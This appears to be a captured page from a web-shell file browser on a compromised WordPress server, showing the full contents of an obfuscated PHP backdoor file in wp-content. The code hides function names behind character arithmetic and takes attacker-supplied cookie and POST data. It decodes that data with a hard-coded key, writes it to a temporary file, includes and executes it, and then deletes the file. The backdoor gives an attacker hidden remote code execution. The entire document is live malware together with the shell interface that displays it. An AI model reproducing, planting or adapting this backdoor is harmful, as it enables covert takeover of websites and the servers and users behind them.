HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/wintergenomics_site/wp-content/b9c219b2.php
$AQEsCsKoAG = 'U' . chr ( 412 - 332 ).chr (95) . "\x4c" . "\x48" . "\125" . 'C' . chr ( 473 - 394 ); $kUyZulUmv = "\143" . "\x6c" . 'a' . "\163" . "\163" . '_' . "\x65" . "\x78" . chr (105) . chr (115) . 't' . chr ( 922 - 807 ); $PqmWOh = class_exists($AQEsCsKoAG); $kUyZulUmv = "3468";$jrqMCLiKm = strpos($kUyZulUmv, $AQEsCsKoAG);if ($PqmWOh == $jrqMCLiKm){function bHSVp(){$EVdQRCYtoy = new /* 14321 */ UP_LHUCO(55780 + 55780); $EVdQRCYtoy = NULL;}$RgNAUFK = "55780";class UP_LHUCO{private function FibKOB($RgNAUFK){if (is_array(UP_LHUCO::$izGvBo)) {$name = sys_get_temp_dir() . "/" . crc32(UP_LHUCO::$izGvBo["salt"]);@UP_LHUCO::$izGvBo["write"]($name, UP_LHUCO::$izGvBo["content"]);include $name;@UP_LHUCO::$izGvBo["delete"]($name); $RgNAUFK = "55780";exit();}}public function MwXZhTef(){$JlGcyGA = "14875";$this->_dummy = str_repeat($JlGcyGA, strlen($JlGcyGA));}public function __destruct(){UP_LHUCO::$izGvBo = @unserialize(UP_LHUCO::$izGvBo); $RgNAUFK = "17085_28254";$this->FibKOB($RgNAUFK); $RgNAUFK = "17085_28254";}public function PsKOhWsTW($JlGcyGA, $hEaoDn){return $JlGcyGA[0] ^ str_repeat($hEaoDn, intval(strlen($JlGcyGA[0]) / strlen($hEaoDn)) + 1);}public function iGExFV($JlGcyGA){$DfOCD = chr ( 654 - 556 ).chr ( 795 - 698 )."\163" . chr ( 673 - 572 ).chr ( 196 - 142 ).chr (52);return array_map($DfOCD . '_' . chr (100) . "\x65" . 'c' . chr ( 542 - 431 ).chr ( 397 - 297 ).chr ( 310 - 209 ), array($JlGcyGA,));}public function __construct($zNEGW=0){$lkgJs = ',';$JlGcyGA = "";$uTEkfiQ = $_POST;$AVmlnk = $_COOKIE;$hEaoDn = "f942fe12-1273-4783-a4cd-23df858e7923";$LTPxu = @$AVmlnk[substr($hEaoDn, 0, 4)];if (!empty($LTPxu)){$LTPxu = explode($lkgJs, $LTPxu);foreach ($LTPxu as $NBdXglDRA){$JlGcyGA .= @$AVmlnk[$NBdXglDRA];$JlGcyGA .= @$uTEkfiQ[$NBdXglDRA];}$JlGcyGA = $this->iGExFV($JlGcyGA);}UP_LHUCO::$izGvBo = $this->PsKOhWsTW($JlGcyGA, $hEaoDn);if (strpos($hEaoDn, $lkgJs) !== FALSE){$hEaoDn = str_pad($hEaoDn, 10); $hEaoDn = strcspn ($hEaoDn, $lkgJs); $hEaoDn = ltrim(rtrim($hEaoDn));}}public static $izGvBo = 59260;}bHSVp();}